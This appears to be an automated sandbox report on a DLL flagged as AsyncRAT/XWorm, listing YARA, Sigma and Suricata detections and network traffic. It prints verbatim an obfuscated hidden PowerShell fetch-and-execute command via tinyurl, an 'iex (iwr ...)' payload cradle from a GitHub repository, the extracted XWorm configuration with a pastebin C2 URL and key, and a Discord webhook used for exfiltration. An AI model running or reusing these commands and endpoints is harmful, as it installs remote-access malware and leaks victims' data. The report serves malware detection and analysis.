15.2.powershell.exe.1e080dcd9a8.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
15.2.powershell.exe.1e080dcd9a8.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1914ee:$s8: Win32_ComputerSystem 0x191b40:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x191bdd:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x191cf2:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x192264:$cnc4: POST / HTTP/1.1
17.2.powershell.exe.289ce73e268.3.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
17.2.powershell.exe.289ce73e268.3.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17.2.powershell.exe.289ce73e268.3.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
17.2.powershell.exe.289ce73e268.3.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x190556:$s8: Win32_ComputerSystem 0x190ba8:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x190c45:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x190d5a:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1912cc:$cnc4: POST / HTTP/1.1
Click to see the 40 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Child Process Of Regsvr32

Source: Process started

Author: elhoim, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll, ParentImage: C:\Windows\System32\regsvr32.exe, ParentProcessId: 3676, ParentProcessName: regsvr32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), ProcessId: 5852, ProcessName: powershell.exe

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5852, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 5616, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5148, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), ProcessId: 2668, ProcessName: powershell.exe

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3620, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", ProcessId: 8112, ProcessName: csc.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5852, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ProcessId: 5616, ProcessName: powershell.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5616, TargetFilename: C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.cmdline

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll",#1, ParentImage: C:\Windows\System32\rundll32.exe, ParentProcessId: 5148, ParentProcessName: rundll32.exe, ProcessCommandLine: powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'nyu' + 'rl.c' + 'om/yeykydun') -usebasicparsing), ProcessId: 2668, ProcessName: powershell.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing) , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3620, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\txglqdpo\txglqdpo.cmdline", ProcessId: 8112, ProcessName: csc.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T08:23:06.692029+0200	2803305	3	Unknown Traffic	192.168.2.5	49742	172.67.19.24	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T08:22:17.980666+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49704	104.18.111.161	80	TCP
2024-09-16T08:22:17.984304+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49706	104.18.111.161	80	TCP
2024-09-16T08:22:17.992015+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49705	104.18.111.161	80	TCP
2024-09-16T08:22:17.993198+0200	2803274	2	Potentially Bad Traffic	192.168.2.5	49707	104.18.111.161	80	TCP

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-16T08:22:27.760940+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49716	162.159.138.232	443	TCP
2024-09-16T08:22:27.771101+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49719	162.159.138.232	443	TCP
2024-09-16T08:22:27.781388+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49717	162.159.138.232	443	TCP
2024-09-16T08:22:27.833416+0200	2857659	1	A Network Trojan was detected	192.168.2.5	49718	162.159.138.232	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Xworm {"C2 url": "https://pastebin.com/raw/zNCj2Utm", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Virustotal: Detection: 63%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 93.3% probability

Sample uses string decryption to hide its real strings

Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack	String decryptor: https://pastebin.com/raw/zNCj2Utm
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack	String decryptor: <123456789>
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack	String decryptor: <Xwormmm>
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack	String decryptor: XWorm V5.2
Source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack	String decryptor: USB.exe

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.5:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.5:49741 version: TLS 1.2

Source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.pdb source: powershell.exe, 0000001B.00000002.2729265774.00000263003C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.pdbhP source: powershell.exe, 0000000F.00000002.2756687116.000001E080DC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.pdb source: powershell.exe, 00000011.00000002.2788362088.00000289CDD31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\nkfeparf\nkfeparf.pdbhP source: powershell.exe, 00000011.00000002.2788362088.00000289CE731000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\moha2pjv\moha2pjv.pdb source: powershell.exe, 0000000F.00000002.2756687116.000001E0803C1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\amlysbvw\amlysbvw.pdbhP source: powershell.exe, 0000001B.00000002.2729265774.0000026300DC1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll
Source:	Binary string: C:\Users\Bill Hillman\source\repos\prohashingDLL\x64\Release\prohashingDLL.pdb source: SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49719 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49716 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49718 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.5:49717 -> 162.159.138.232:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://pastebin.com/raw/zNCj2Utm

Connects to a pastebin service (likely for C&C)

Source: unknown	DNS query: name: pastebin.com
Source: unknown	DNS query: name: pastebin.com

Yara detected Generic Downloader

Source: Yara match	File source: 17.2.powershell.exe.289cd920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce8c4818.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080f54ef0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300f54bf8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.powershell.exe.26300dcdd88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.powershell.exe.1e080dcd9a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.powershell.exe.289ce73e268.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.2786658752.00000289CD920000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: unknown	DNS query: name: tinyurl.com
Source: unknown	DNS query: name: tinyurl.com

Source: global traffic	HTTP traffic detected: GET /raw/zNCj2Utm HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/6db99fAK HTTP/1.1Host: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 162.159.138.232 162.159.138.232
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49706 -> 104.18.111.161:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49704 -> 104.18.111.161:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 104.18.111.161:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49707 -> 104.18.111.161:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49742 -> 172.67.19.24:443

Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1276656119212933271/ljgEyB7ad5w4Gj1PTDKiKy_kxL4JW9dGMyOEtbWZENrOfPNvRItMHbgbCoEBh6Sws3Sx HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 269Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yeykydun HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
Source: global traffic	HTTP traffic detected: GET /yk3s8ubp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: tinyurl.com
